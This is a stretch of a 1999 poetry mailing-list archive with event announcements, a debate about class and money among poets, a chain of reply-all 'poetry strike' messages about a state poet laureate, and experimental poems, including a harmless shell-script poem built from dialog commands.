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</italic>For many, Elizabeth Robinson epitomizes the latest version of the new American poetry, for her writing is well known for its lyric abstraction, its spiritual depth, its finesse of experiment, and elegant individualism. Often overlooked are the Rabelaisian undertones, for here is a poetry in love with life,

eros, and comedy high and low. Robinson's books include: <italic>In the Sequence of Falling Things</italic> (paradigm) and <italic>Bed of Lists</italic> (Kelsey St. Press), and seven chapbooks from publishers around the world. =46orthcoming, a new book from Kelsey St. Press<italic> (The Seed for Bread), </italic>and a chapbook <italic>(Lodger) </italic>from Arcturus Editions. Her poems and critical writing have appeared in <italic>Oblek, The Germ, Epoch, First Intensity, Hambone, 6ix, Fence, American Letters and Commentary, Fourteen Hills.

</italic>New College Cultural Center

766 Valencia Street, San Francisco

$5
</bigger></bigger></fontfamily>

Small Press Traffic Literary Arts Center

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

www.sptraffic.org

--==========_-1275800960==_ma==========--

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41. Maria Damon
Re: Jewish Lit on Sept 26 in NYC
Thu 2 Sep 1999

---

i'll be there in shpilkes

At 10:48 PM -0400 9/1/99, Gary Shapiro wrote:
>in association with
>NEW YORK IS BOOK COUNTRY
>(a day-long festival of great books and browsing!)
>
>NEW JEWISH LITERATURE & WRITING
> Sunday, September 26,1999
>LOCATION: 40 West 45 Street (near Fifth Avenue)
>New York, New York
>RSVP: [redacted] or [redacted]
>
>2:00pm THANE ROSENBAUM reads from SECOND HAND SMOKE (St.

Martin's)
>It's a story taking place in the seamy underbelly of Miami Beach's Collins
>Avenue, where Mila Katz, Holocaust survivor and confidante to Miami's
>mobsters, lives by her wits)
>
>3:00pm ALAN KAUFMAN reads for poems WHO ARE WE by Davka Press
>He is also the author of a forthcoming book THE OUTLAW BIBLE OF AMERICAN
>POETRY (Thunder's Mouth), and editor of a cool Jewish website
>
>4:00pm MELVIN JULES BUKIET reads from a new anthology NEUROTICA: JEWISH
>WRITERS ON SEX (WW Norton).
>
>REQUEST: If you have any ideas of where i can post this event listing [poetry
>websites, listservs, etc] could you either forward it there, or email me at
>[redacted]
>Thank you, and happy New Year, la shana tova.

↑ Index

42. Kathy Lou Schultz

Re: more power to the affluent poets

Thu 2 Sep 1999

I wouldn't be so quick to consign this as "urban" phenomena. (In fact in the decidedly rural, decidedly working class place where my people are, and where I grew up, openness about fiscal matters, including the family's struggle to pay bills and ward off overdrafts at the bank, was the norm. I think that working class kids are often not sheltered from such events.) But I think that Dodie Bellamy is pointing out the middle class tendency toward a *false* politeness in which "we don't discuss things like that." This contirbutes toward an environment in which we pretend that privilege doesn't exist ("oh really we're all the same; we're all just poets"). And to point out that that is in fact false is perceived as impolite, or worse yet as complaining, whining, or "bitching." In fact, in a recent forum on class & poetics which I edited and organized with Robin Tremblay-McGaw, working class folks were reluctant to speak for the very reason that they would be labelled as such ("oh, quit you're complaining, etc.) But there's a helluva lot of interesting work to be done on class & literature, and it is imperative that working class folks be part of that discussion.
^^^

>From: Stephen Ellis <[redacted]>
>To: [redacted]
>Subject: Re: more power to the affluent poets
>Date: Thu, Sep 2, 1999, 5:32 AM
>

> *Yr right, working class people often DO have more openness re: money. But that's pretty much an urban thing. In fact the whole notion of "working class" is urban; Marx didn't farm, and shuddered at the fact of living in a rural setting. There are plenty of provincial mutes who don't have much to say about money or anything else. I find that whole hierarchy of working, middle, upper class*
>
> *to be over simple. Isn't it more like some kind of daisy chain in wch all participate, even if often enough against their will? And don't you think the "openness" in the working classes toward discussing fiscal matters is sometimes contingent on the feeling that they've been "had" - that's something I've noticed, openness seeming a way to bear up under constant (fiscal & emotional) strain, if not outright (temporal & spatial) abuse. Wch is, okay, not always the case, but*
>
> *to invoke the openness you speak of without mentioning the perpetual grind being under image to priviledge (ie., something to work toward, like getting a disease) is to keep intent separate from the occasional desperation behind it. Conditions have contexts & causes, middle class is it may be to point this (if not them) out.*
>
> *S E*
>
> *From: Dodie Bellamy <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: more power to the affluent poets*
> *Date: Wed, 1 Sep 1999 15:26:44 -0700*
>
> *At 2:46 PM -0700 8/31/99, Stephen Ellis wrote:*
>
> *We DO live on the same planet. Twenty dollars was an arbitrary figure I cldn't (easily) afford either. The point is elsewhere - money is secret.*
>
> *Actually, what you're voicing is a middle class value. Working class people (at least the ones I was raised around) are very open about money, how much they make, how much they spend for things. Often they speak about these things with great vigor. *Not* to ask about money (or to talk about my own money situation) was something I learned when I got involved in the San Francisco poetry scene. It's*

> *still hard, like not announcing to everybody how much my shoes cost.*
>
> *Dodie*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

↑ Index

43. **krupoetry**
Re: I can't believe it!!!
Fri 3 Sep 1999

As a poet, I have been on strike for the past 3 weeks because the dishonourable governor of our state continues to disrespect poets and poetry in general by not appointing a State Poet Laureate when it is the governor's responsibility to have done so after the last poet laureate's term expired.

If you wish to support the wildcat poetry strike you may do so by immediately placing a CANCEL on any vacation plans to a state not civilised enough to have a Poet Laureate!

Poet on Strike
-----Original Message-----
From: Roger Baker II <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, September 02, 1999 10:01 PM
Subject: [WW] Re: I can't believe it!!!

From: Roger Baker II <[redacted]>

> From: "evvy" <[redacted]>
>
> My computer's been down for a couple of weeks and I come back and
> there's not one message from you all! I thought that at least a couple
of
> you would be talking to each other...
>
> Just to point out the obvious - you can't network with each other if
> you don't get to know each other.
>
> evvy (list owner)
> poet/writer
> [redacted]

Hi evvy,

Very good point. Let me one of the first to apologize to everyone. I know I have been very busy working on other things, that I have neglected to participate.

I hope to more accessible in the future.

Thanks,
Roger Baker II ~ Images Inscript - Free interactive literary e-zine
The place to discuss poetry, stories and be published.
Subscribe via e-mail at mailto:[redacted]
http://www.ImagesInscript.com/

↑ Index

44. david bromige
more pour to the effluent
Fri 3 Sep 1999

---

unhappily, when it comes from on high

↑ Index

45. krupoetry
Re: I can't believe it!!!
Fri 3 Sep 1999

Because the dishonourable governor has such a low regard for poets and by implication performing artists of every genre, please tell all your influential friends in LA not to vacation or film any more movies in this uncouth state...

Poet on Strike
-----Original Message-----
From: CE <[redacted]>
To: krupoetry <[redacted]>; [redacted]
<[redacted]>; Cultural Tourism Coordinator
<[redacted]>; National Endowment for the Arts
<[redacted]>; R. U. Outavit <[redacted]>
Cc: every poet on Earth... <[redacted]>; Carolyn Forche
<[redacted]>; Chiron Review <[redacted]>; Ed
Sanders <[redacted]>; Alan Kaufman <[redacted]>; Gary
Pacernick <[redacted]>; Professor Cusimano
<[redacted]>
Date: Friday, September 03, 1999 2:00 AM
Subject: Re: I can't believe it!!!

Shit, CA doesn't have one, last I checked.

I nominate Alan Kaufman from the list.

But hey, in LA, the chief value is not to get too excited about anything--

So CHILL!

How did I get on _this_ mailing list? "Tereu, tereu, so rudely forced."

Thine in Truth and Art,

CE

"The Poetry doesn't matter." --T.S. Eliot

http://www.melicreview.com/roundtable/

http://www.suite101.com/article.cfm/1994/24136

****
-----Original Message-----
From: krupoetry <[redacted]>
To: [redacted] <[redacted]>;
Cultural Tourism Coordinator <[redacted]>; National
Endowment for the Arts <[redacted]>; R. U. Outavit
<[redacted]>
Cc: every poet on Earth... <[redacted]>;
Carolyn Forche <[redacted]>; Chiron Review
<[redacted]>; Ed Sanders <[redacted]>;
Alan Kaufman <[redacted]>; Gary Pacernick
<[redacted]>; Professor Cusimano
<[redacted]>
Date: Thursday, September 02, 1999 10:23 PM
Subject: Re: I can't believe it!!!

:As a poet, I have been on strike for the past 3 weeks because
the
:dishonourable governor of our state continues to disrespect
poets and poetry
:in general by not appointing a State Poet Laureate when it is
the governor's
:responsibility to have done so after the last poet laureate's
term expired.
:
:If you wish to support the wildcat poetry strike you may do so
by
:immediately placing a CANCEL on any vacation plans to a state
not civilised
:enough to have a Poet Laureate!
:

:Poet on Strike
:-----Original Message-----
:From: Roger Baker II <[redacted]>
:To: [redacted] <[redacted]>
:Date: Thursday, September 02, 1999 10:01 PM
:Subject: [WW] Re: I can't believe it!!!
:
:
:From: Roger Baker II <[redacted]>
:
:> From: "evvy" <[redacted]>
:>
:> My computer's been down for a couple of weeks and I come back
and
:> there's not one message from you all! I thought that at
least a couple
:of
:> you would be talking to each other...
:>
:> Just to point out the obvious - you can't network with each
other if
:> you don't get to know each other.
:>
:> evvy (list owner)
:> poet/writer
:> [redacted]
:
:Hi evvy,
:
:Very good point. Let me one of the first to apologize to
everyone. I
:know I have been very busy working on other things, that I have
neglected
:to participate.
:
:I hope to more accessible in the future.
:
:
:Thanks,
:Roger Baker II ~ Images Inscript - Free interactive literary
e-zine
:The place to discuss poetry, stories and be published.

:Subscribe via e-mail at
mailto:[redacted]
:http://www.ImagesInscript.com/
:
:
:

↑ Index

46. **krupoetry**
Re: I can't believe it!!!
Fri 3 Sep 1999

It would be troublesome for you and/or the multitude of poet/friends of yours to make other arrangements for skiing this year, but if you wish to support the wildcat poetry strike you may do so simply by clicking "Reply to All" with the briefest of statements: CANCEL

Poet on Strike
-----Original Message-----
From: larry jaffe <[redacted]>
To: krupoetry <[redacted]>
Date: Friday, September 03, 1999 1:47 AM
Subject: RE: I can't believe it!!!

would not dream of going to that state... ...

how r u doing hon?

lg

-----Original Message-----
From: krupoetry [mailto:[redacted]]
Sent: Thursday, September 02, 1999 10:22 PM
To: [redacted]; Cultural Tourism Coordinator; National
Endowment for the Arts; R. U. Outavit
Cc: every poet on Earth...; Carolyn Forche; Chiron Review; Ed Sanders;
Alan Kaufman; Gary Pacernick; Professor Cusimano
Subject: Re: I can't believe it!!!

As a poet, I have been on strike for the past 3 weeks because the dishonourable governor of our state continues to disrespect poets and poetry in general by not appointing a State Poet Laureate when it is the governor's responsibility to have done so after the last poet laureate's term expired.

If you wish to support the wildcat poetry strike you may do so by immediately placing a CANCEL on any vacation plans to a state not civilised enough to have a Poet Laureate!

Poet on Strike
-----Original Message-----
From: Roger Baker II <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, September 02, 1999 10:01 PM
Subject: [WW] Re: I can't believe it!!!

From: Roger Baker II <[redacted]>

> From: "evvy" <[redacted]>
>
> My computer's been down for a couple of weeks and I come back and
> there's not one message from you all! I thought that at least a couple
of
> you would be talking to each other...
>
> Just to point out the obvious - you can't network with each other if
> you don't get to know each other.
>
> evvy (list owner)
> poet/writer
> [redacted]

Hi evvy,

Very good point. Let me one of the first to apologize to everyone. I know I have been very busy working on other things, that I have neglected to participate.

I hope to more accessible in the future.

Thanks,
Roger Baker II ~ Images Inscript - Free interactive literary e-zine
The place to discuss poetry, stories and be published.
Subscribe via e-mail at mailto:[redacted]
http://www.ImagesInscript.com/

↑ Index

47. krupoetry
Re: I can't believe it!!!
Fri 3 Sep 1999

Every concerned poet expresses regret that any tourist would choose to cancel plans to vacation in the state during the upcoming ski season; but if you so choose to support the wildcat poetry strike, you may do so by removing any investment you have in the state immediately by clicking "Reply to All" with 1 word: REMOVE

Poet on Strike
-----Original Message-----
From: Gary Magee <[redacted]>
To: krupoetry <[redacted]>; Cultural Tourism Coordinator
<[redacted]>; National Endowment for the Arts
<[redacted]>; NH Humanities Council <[redacted]>; NH State
Council on the Arts <[redacted]>; NH Writers' Project
<[redacted]>
Cc: every poet on Earth... <[redacted]>
Date: Friday, September 03, 1999 6:33 AM
Subject: Re: I can't believe it!!!

CANCEL
----- Original Message -----
From: krupoetry <[redacted]>
To: Cultural Tourism Coordinator <[redacted]>; National
Endowment for the Arts <[redacted]>; NH Humanities Council
<[redacted]>; NH State Council on the Arts <[redacted]>;
NH Writers' Project <[redacted]>
Cc: every poet on Earth... <[redacted]>
Sent: Friday, 3 September 1999 7:47
Subject: Re: I can't believe it!!!

> It would be troublesome for you and/or the multitude of poet/friends of
> yours to make other arrangements for skiing this year, but if you wish to
> support the wildcat poetry strike you may do so simply by clicking "Reply
to
> All" with the briefest of statements: CANCEL
>
> Poet on Strike
> -----Original Message-----
> From: larry jaffe <[redacted]>
> To: krupoetry <[redacted]>
> Date: Friday, September 03, 1999 1:47 AM

> Subject: RE: I can't believe it!!!
>
>
> would not dream of going to that state... ...
>
> how r u doing hon?
>
> lg
>
> -----Original Message-----
> From: krupoetry [mailto:[redacted]]
> Sent: Thursday, September 02, 1999 10:22 PM
> To: [redacted]; Cultural Tourism Coordinator; National
> Endowment for the Arts; R. U. Outavit
> Cc: every poet on Earth...; Carolyn Forche; Chiron Review; Ed Sanders;
> Alan Kaufman; Gary Pacernick; Professor Cusimano
> Subject: Re: I can't believe it!!!
>
>
> As a poet, I have been on strike for the past 3 weeks because the
> dishonourable governor of our state continues to disrespect poets and
poetry
> in general by not appointing a State Poet Laureate when it is the
governor's
> responsibility to have done so after the last poet laureate's term
expired.
>
> If you wish to support the wildcat poetry strike you may do so by
> immediately placing a CANCEL on any vacation plans to a state not
civilised
> enough to have a Poet Laureate!
>
> Poet on Strike
> -----Original Message-----
> From: Roger Baker II <[redacted]>
> To: [redacted] <[redacted]>
> Date: Thursday, September 02, 1999 10:01 PM
> Subject: [WW] Re: I can't believe it!!!
>
>
> From: Roger Baker II <[redacted]>
>

> > From: "evvy" <[redacted]>
> >
> > My computer's been down for a couple of weeks and I come back and
> > there's not one message from you all! I thought that at least a couple
> of
> > you would be talking to each other...
> >
> > Just to point out the obvious - you can't network with each other if
> > you don't get to know each other.
> >
> > evvy (list owner)
> > poet/writer
> > [redacted]
>
> Hi evvy,
>
> Very good point. Let me one of the first to apologize to everyone. I
> know I have been very busy working on other things, that I have neglected
> to participate.
>
> I hope to more accessible in the future.
>
>
> Thanks,
> Roger Baker II ~ Images Inscript - Free interactive literary e-zine
> The place to discuss poetry, stories and be published.
> Subscribe via e-mail at mailto:[redacted]
> http://www.ImagesInscript.com/

...if you wish to be removed from this newsletter list. just say so and poof ~ you will be gone... please forgive the poet Oh, Yes, for duplicate mailings... let him know Click me, Baby! and it will be handled immediately... Do it... NOW: [redacted]

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48. Bill Lavender

An Other South: Reading and Symposium

Fri 3 Sep 1999

Please note we have had to change the date to Nov. 6. Sorry...

New Orleans Review
and

Loyola University
announce

An Other South, Symposium and Poetry Reading

PLEASE NOTE WE HAVE HAD TO CHANGE THE DATE:
Saturday, November 6, 1999
University Center, Loyola University, New Orleans

2:00 PM: A Symposium on the Southern, the Regional, the Experimental 8:00 PM: Readings by Contributors to An Other South, New Orleans Review 25-1

Please help us celebrate the publication of this exciting issue of New Orleans Review. All contributors are invited to read, and everyone is invited to attend. Please reply to this email if you would like to attend and need help finding a place to stay in New Orleans, or if you have any other questions. There will be no charge for any of the events.

The Symposium: All interested parties are invited to submit proposals for short presentations; the presentations may be in any form, from a simple essay to a multi-person performance or audio/visual extravaganza, but may not exceed ten minutes in length. Topics should be within the range of issues raised by this issue of New Orleans Review, "An Other South: Experimental Writing in the South." Possible broad topics might include (though certainly not be limited to):

What is an Experiment? Is the term still valid, or has "the Experimental" become just another genre? What is a region? What is the relationship of geographical boundaries (like "the South") with contemporary poetry? What literary traditions (ie, Language, post-Language, surrealism, Modernism, etc.) and/or individual writers are of interest for the current Southern literary scene? What are the political and cannonical implications of experimentation in the South?

This list is not intended to be exhaustive, nor even extensive. Please feel free to suggest your own topics, to combine or divide any of the suggestions.

Please submit proposals as soon as possible- no later than October 20. Submit via email or ground mail to:

Bill Lavender
Co-Editor (with Ralph Adamo) of An Other South, New Orleans Review 25-1
email: [redacted]
ground: 5568 Woodlawn Place
New Orleans, LA 70124
phone [redacted]

The Reading: The list of contributors, all of whom are invited to read, follows. A final list of readers and symposium participants will be published shortly before the event.

Doug MacCash
Jim Leftwich
Hank Lazer
Skip Fox
Joel Dailey
Camille Martin
Gerry Cannon
Celestine Frost
A. Di Michele
Bob Grumman
Lorenzo Thomas
David Thomas Roberts
Niyi Osundare
Jake Berry
Dave Brinks
Lindsay Hill
Alex Rawls
John Elsberg
Mark Spitzer
Bill Myers
Seth Young
Jonathan Brannen
Andy Young
M. Sarki
Greg Fuchs
Christopher Chambers
Bill Lavender
Richard Doherty
Nancy Harris
Dennis Formento
Greg Kelley
Susan Facknitz
Brett Evans
Kay Murphy
Amy Trussel
Paul Naylor
Marla Jernigan
Gina Entrebe

James Saunders
Randy Prunty
Mark Prejsnar
M. Magoolaghan
Rebecca Hyman
)ohnLowther
Lawless Crow

Bill Lavender
Co-Editor, An Other South
New Orleans Review

↑ Index

49. Lowther,John
contactual poem
Fri 3 Sep 1999

By proceeding beyond this title you are being abliged to pay the author
$17,000
  (which wd leave him debt-free, and earn you a dedication or three)

i don't have to do this
can i challenge that can i
solemnafraudulate my Ohs
and exclamate at trace points
that this is the needed thing
in this moment ? no
but i wd prefer that this verse
not change the world
what cd such a world offer ?
but i claim poetry   challengers
i stand at the top of the mountain
gorged with possibility
and temporally   in this instance
no needs that poetry cd fill
save rank economic ones
and i doubt you will honor
this bargain and do yr part
how else will you fail me reader?

↑ Index

50. **Al Filreis**

Shawn Walker reading/webcast 9/18

Fri 3 Sep 1999

S H A W N W A L K E R
--a reading at the Writers House
(and a simultaneous live webcast)

Saturday, September 18
7:00 PM
at the Kelly Writers House
3805 Locust Walk
Philadelphia PA
215 573-WRIT

- - - - - - - - - - - - - -
b o o k l a u n c h

we celebrate the publication of
Shawn Walker's
first book of poems
THE PURCHASE OF A DAY

published in affiliation with the Writers House
by the "handwritten press"
("handwritten press" books are made and winged
by Kristen Gallagher)

For those attending the reading and celebration: come to the Writers House at or before 7 PM on September 18. No RSVP needed.

For those who want to join the celebration from a distance: the live webcast can be viewed--video and audio--through the web beginning at 7 on 9/18. Connections are limited, so you must RSVP to [redacted] to reserve a space. For more information how the webcast works (including information on what your computer needs), go to
>> www.english.upenn.edu/~wh/webcast.html <<
or write [redacted] with your questions.

SHAWN WALKER lives and works in West Philadelphia. She is a graduate of Penn's creative writing program, recipient of the Thuron Award and is now undergraduate academic advisor in Penn's department of History. In 1995-96 she was a founding member of the Writers House planning committee and in 1996-97 she was the first Writers House Resident Coordinator.

Her poems are available on her website -- www.english.upenn.edu/~swalker. The "handwritten press" edition of _Purchase of a Day_ can be viewed on the "handwritten press" site:

> *www.english.upenn.edu/~wh/handwritten/ <<*

"Because for a poet writing is a daily preoccupation, I am interested in other daily habits too - the ones we create for ourselves and especially the ones we are somehow forced to assume in order to participate in what we call our society or our culture.... Money - the ubiquitous abstraction - is the daily habit I'm playing with in all these poems. For about a year and a half now, I've been writing down my daily purchases. At some point, I decided that I would rigorously document every dollar spent in 1999, and use those purchases as the formal spine of my poetic forms." --Shawn Lynn Walker, from a general description of her "money" project

↑ Index

51. **krupoetry**
Re: I can't believe it!!!
Fri 3 Sep 1999

The overwhelming majority of replies are for the wildcat poetry strike to continue
until the dishonourable governor shows the respect to poets that the vocation of
poetry deserves by upholding the constitutionally mandated responsibility of the
office of governor to appoint the next State Poet Laureate upon the expiration
of the incumbent state poet laureate's proscribed term.

Hopefully this deplorable state of personal sacrifice will end sooner than later
with one rectifying swish of the pen in the governor's recalcitrant hand; but until
then, all that can be done whether or not you support the "pen down" civil action
is to immediately click "Reply to All" with the unswerving demand: REMOVE!

i.e. the Governor.

Poet on Strike
-----Original Message-----
From: Rae Bruce <[redacted]>

To: krupoetry <[redacted]>
Cc: [redacted] <[redacted]>
Date: Friday, September 03, 1999 11:59 AM
Subject: Re: I can't believe it!!!

-----Original Message-----
From: krupoetry <[redacted]>
To: Cultural Tourism Coordinator <[redacted]>; National
Endowment for the Arts <[redacted]>; NH Humanities Council
<[redacted]>; NH State Council on the Arts <[redacted]>;
NH Writers' Project <[redacted]>
Cc: every poet on Earth... <[redacted]>
Date: Friday, September 03, 1999 10:32 AM
Subject: Re: I can't believe it!!!

>Please excuse duplicate mailings.....
>
>Every concerned poet expresses regret that any tourist would choose to
>cancel plans to vacation in the state during the upcoming ski season; but
if
>you so choose to support the wildcat poetry strike, you may do so by
>immediately placing a cancel on any vacation plans and indicating your
>imminent intent to withdraw all cash or investment you have in a state not
>civilised enough to have a State Poet Laureate by clicking "Reply to All"
>with
>the clear message: REMOVE
>
>i.e. the governor!
>
>Poet on Strike
>-----Original Message-----
>From: Gary Magee <[redacted]>
>To: krupoetry <[redacted]>; Cultural Tourism Coordinator
><[redacted]>; National Endowment for the Arts
><[redacted]>; NH Humanities Council <[redacted]>; NH State
>Council on the Arts <[redacted]>; NH Writers' Project
><[redacted]>
>Cc: every poet on Earth... <[redacted]>
>Date: Friday, September 03, 1999 6:33 AM
>Subject: Re: I can't believe it!!!
>
>
>CANCEL

>----- Original Message -----
>From: krupoetry <[redacted]>
>To: Cultural Tourism Coordinator <[redacted]>; National
>Endowment for the Arts <[redacted]>; NH Humanities Council
><[redacted]>; NH State Council on the Arts <[redacted]>;
>NH Writers' Project <[redacted]>
>Cc: every poet on Earth... <[redacted]>
>Sent: Friday, 3 September 1999 5:47 AM
>Subject: Re: I can't believe it!!!
>
>
>It would be troublesome for you and/or the multitude of your poet/friends
>to make other arrangements for skiing this year, but if you wish to
>support the wildcat poetry strike you may do so simply by clicking "Reply
>to All" with the briefest of statements: CANCEL
>
>Poet on Strike
>-----Original Message-----
>From: larry jaffe <[redacted]>
>To: krupoetry <[redacted]>
>Date: Friday, September 03, 1999 1:47 AM
>Subject: RE: I can't believe it!!!
>
>would not dream of going to that state... ...
>
>how r u doing hon?
>
>lg
>
>-----Original Message-----
>From: krupoetry [mailto:[redacted]]
>Sent: Thursday, September 02, 1999 10:22 PM
>To: [redacted]; Cultural Tourism Coordinator; National
>Endowment for the Arts; R. U. Outavit
>Cc: every poet on Earth...; Carolyn Forche; Chiron Review; Ed Sanders;
>Alan Kaufman; Gary Pacernick; Professor Cusimano
>Subject: Re: I can't believe it!!!
>
>As a poet, I have been on strike for the past 3 weeks because the
>dishonourable governor of our state continues to disrespect poets and
>poetry in general by not appointing a State Poet Laureate when it is the
>governor's responsibility to have done so after the last poet laureate's

>term
>expired.
>
>If you wish to support the wildcat poetry strike you may do so by
>immediately placing a CANCEL on any vacation plans to a state not
>civilised enough to have a Poet Laureate!
>
>Poet on Strike
>-----Original Message-----
>From: Roger Baker II <[redacted]>
>To: [redacted] <[redacted]>
>Date: Thursday, September 02, 1999 10:01 PM
>Subject: [WW] Re: I can't believe it!!!
>
>From: Roger Baker II <[redacted]>
>
>> From: "evvy" <[redacted]>
>>
>> My computer's been down for a couple of weeks and I come back and
>> there's not one message from you all! I thought that at least a couple
>>of you would be talking to each other...
>>
>> Just to point out the obvious - you can't network with each other if
>> you don't get to know each other.
>>
>> evvy (list owner)
>> poet/writer
>> [redacted]
>
>Hi evvy,
>
>Very good point. Let me one of the first to apologize to everyone. I
>know I have been very busy working on other things, that I have neglected
>to participate.
>
>I hope to more accessible in the future.
>
>
>Thanks,
>Roger Baker II ~ Images Inscript - Free interactive literary e-zine
>The place to discuss poetry, stories and be published.
>Subscribe via e-mail at mailto:[redacted]

>http://www.ImagesInscript.com/
>
>
>
>...if you wish to be removed from this newsletter list. just say so and poof
~
>you will be gone... please forgive the poet for duplicate mailings...
>let us know and it will be handled immediately... Do it...
>NOW: [redacted]
>
>Dear Sir:

Please remove my name from these mailings. I doubt that anyone cares whether poets strike or not. Also, I can't see how denying myself any pleasure I might take from a tourist type activity would make any impact on the people involved.

I agree that it is regrettable that Governor Sheehan has not appointed a poet laureate, but I doubt that the actions you propose will incite her to act any more quickly. I have respect for your passion in this matter and for the time and energy you are putting into it. However, I do not wish to be part of it.

Sincerely,

Rae Bruce

↑ Index

52. Susan M. Schultz

I'm going out to catch a Tinfish. You come too.

Sat 4 Sep 1999

Yo! The new _Tinfish_ is just out--#8, to be exact. Work from Hawai`i,

New Zealand, Australia, the West Coast, even by a few of the geographically challenged! Titles include "How to make a female fleshy airplane" and "Da House of Liberty" and "Marriage is How We Get Our Writing Done" (the author is not married) and "Opportunity Knocks in the

Latter Half of the 20th Century" and "Psychology with Nude & Mondrian," to say nothing of "Madam I'm Adam." The marvelous cover has a fish on it (with advent calendar touch).

$5 per
$13 for three issue subscription

Send check or cash to me at 47-391 Hui Iwa Street #7, Kaneohe, HI 96744 USA. And you will receive blessings forever.

Susan Schultz

↑ Index

53. Alan Sondheim
report on the loveandwar project at trAce
Sat 4 Sep 1999

-

LoveandWar

This is a beginning/interim report on the loveandwar site, some observa- tions -

The site's developing rapidly; there are a large number of texts on it, some of which are interactive, and many of which use html and flash tags. Because of the nature of the forms input, some texts 'take' and some don't. The stories are developing in unforeseen directions; the texts have an amazing splintered intensity. Because email addresses and names aren't checked, these inputs also become sites for experiment; many of the add- resses form part of the text, and click to nowhere.

I worry that we may not have the critical mass to sustain beyond the first two weeks - during which there is of course a degree of novelty. I welcome any suggestions concerning new directions we might proceed in - one thing would be to put up participants' webpages which relate, however distantly, to the storylines.

Meanwhile the five backbones are worked as a palimpsest; texts are hung salon-style within them, each author holding hir own. _Jump_ tags placed among the texts move laterally from one backbone to another; anyone can add these tags, ringing around them. If additional webpages are added, these too could be linked by jumping.

The characters have been killed, abandoned, splintered as well - they're digital, virtual idols, they constantly return, since death is meaning- less; once there is a demarcation (say, with Webbie Tookay, with Kyoko Date, with Jennifer, with Cybele, with Alan), there is a frame for con- tinued additions. It is for this reason I wrote, before this project, that _Jennifer has all the time in the world_ - since she inhabits files, pro- tocols, applications, 'locally' and across the Net - an inhabitation that remains constant, no matter what events. In fact, with virtual idols, ava- tars, emanants, _events are absorbed_ into a generalized diegesis created by readings, rereadings, misreadings; there are no occurrences whatsoever.

Virtual idols as well can be thought of as _resonances,_ or _reverbera- tions_ among sheaves of files - by this I mean that their (proper) names are linked,

each citation, _say,_ of Jennifer or jennifer, linked to every other - it is this _skein_ that constitutes appearance, fiction, narra- tive, no matter how wildly disparate the individuated texts or files ap- pear to be. This might be considered itself a new occurrence in fiction, related to cutups, the novels of Richardson and Sterne, Wittgenstein's anecdotal philosophies, the Romantic fragments of the Atheneum, etc. - to mention a few of the older sources.

To contribute, go to http://trace.ntu.ac.uk/writers/sondheim/index.htm and check on any of the five backbone sites; to discuss the material, go to the trAce Webboard (from http://trace.ntu.ac.uk) and check out the Love and War, Avatar, Cyborg, and Experimental conferences.

↑ Index

54. Philip Nikolayev
IDEAS
Sat 4 Sep 1999

IDEAS

outofanidea

andImputtinginanother
anotheridea
callthefirstideamother
andtheotherdaughter

howdiditemerge

pardoncomeagain

↑ Index

55. Lowther,John
contests
Sat 4 Sep 1999

{poetix}

has anyone got the info handy regarding
the next National Poetry Series
and
New American Poetry

i'm speaking of Who the judges are?
as well as the guidelines

much obliged if so

↑ Index

56. John Tranter
The Russians are Coming
Sat 4 Sep 1999

I just had to share this with you:
==========
From the newsroom of the BBC World Service
Thursday, July 29, 1999 Published at 08:17 GMT 09:17 UK
World: Europe

Russian soldier poet

The Russian officer in charge of relations with NATO, General Leonid Ivashov, has been accepted as a member of the Russian Writers' Union.

General Ivashov, who is a poet, told the armed forces newspaper Krasnaya Zvezda that the image of officers as people with limited intellectual development did not reflect reality.

He said he tried to use every spare minute to write poetry -- on flights, waiting at the airport and in cars.

- - from John Tranter, Jacket magazine

↑ Index

57. Alan Sondheim
ROSETTA
Mon 6 Sep 1999

==

THE STONE

THE AA TEXT

arms writing the travel, the wonder or marvel of it, motility, the star, singular, above, pinned or fulcrum for the text's organism, organism's inscript "or a moment, or a movement of her arms," she said, and everyone understood. "The Little Gathering," "Where we have been, and where we hope to go." further than others have spoken

THE BB TEXT

you will be arms and folds and there is something sad about your being oh so here I do think, your arms cry to me, they have tears, they breathe somewhere, you will find o them

"these are your arms writing here" "there are the spaces that your arms have written" "this is the writing of your arms" "this is the writing possessed by your arms" "this is your arms' possession"

arms which are swollen and endless turned towards abdomens, flooded adhesives, disks, joining-spheres, mumbled arms, speaking-for arms; arms speaking for mouths, for legs; arms speaking for breasts, for ears; arms speaking for hands, swollen fingers speaking on handed arms

we have spoken of the arms; we have been spoken to ... we have spoken further of the breasts, of mothering of the arms, of the marma marmoraceous stones; we will murmur these murmurs, mourn the measure of the body, of all things which are not things, trapped and not trapped, speaking for one time, for the first time (speaking for one time, for the second time) - breathing into this, one returns, doesn't one, to the swollen? to the distended membrane, the slightest difference in the pressure of air, molecular memories, Gaia cut off from herself, a Capital idea or Gaia resonant, say, would you have a light dear fellow? She stopped, just for a moment, and continued. "I didn't know anything about my arms before now." /* The Quandary of Writing: Who / Where */ deflecting the wonder or turning elsewhere, in shame, in guilt, _these_ arms, none other than brought back from the speaking of the others

THE PROGRAM TEXT (chmod 777)

```
dialog --msgbox "please help me in your new body" 0 0
dialog --yesno "addicted to the vacancy of your body" 0 0
dialog --msgbox "your choices within you difference or not  otherwise as
if it were always otherwise to help yourself  within your new body " 0 0
dialog --yesno "you are your very new body" 0 0
dialog --inputbox "do write your very new body now" 0 0 2>> bb
dialog --yesno "are you wearing your new body" 0 0
dialog --inputbox "your new body writing yourself here please" 0 0 2>> bb
dialog --msgbox "breaking with yourself now and holding breath" 0 0
dialog --inputbox "returning for your breathing please" 0 0 2>> bb
dialog --inputbox "returning for your minding breathing please" 0 0 2>> bb
dialog --msgbox "you will be moving somewhere else  another space  to
write in  later  what will be the combining  an arrangement of
stones  thick swollen marbles and limestones  granites  on the ground
there is perhaps the desert  your arms working the stones  working them
other spaces of alterity  you thought there was only one  a marvel or a
travel  "  0 0
dialog --inputbox "a marvel or a travel   your arms writing" 0 0 2>> aa
dialog --yesno "heere bee wonders" 0 0
dialog --inputbox "deflecting or a derail or a return" 0 0 2>> bb
```

```
dialog --inputbox "or a moment or a movement of your arms" 0 0 2>> aa
dialog --msgbox "coming to the other" 0 0
dialog --textbox aa 0 0
dialog --msgbox "returning from the other" 00
dialog --textbox bb 0 0
dialog --inputbox "adding to the other" 0 0 2>> aa
dialog --inputbox "adding from the other" 0 0 2>> bb
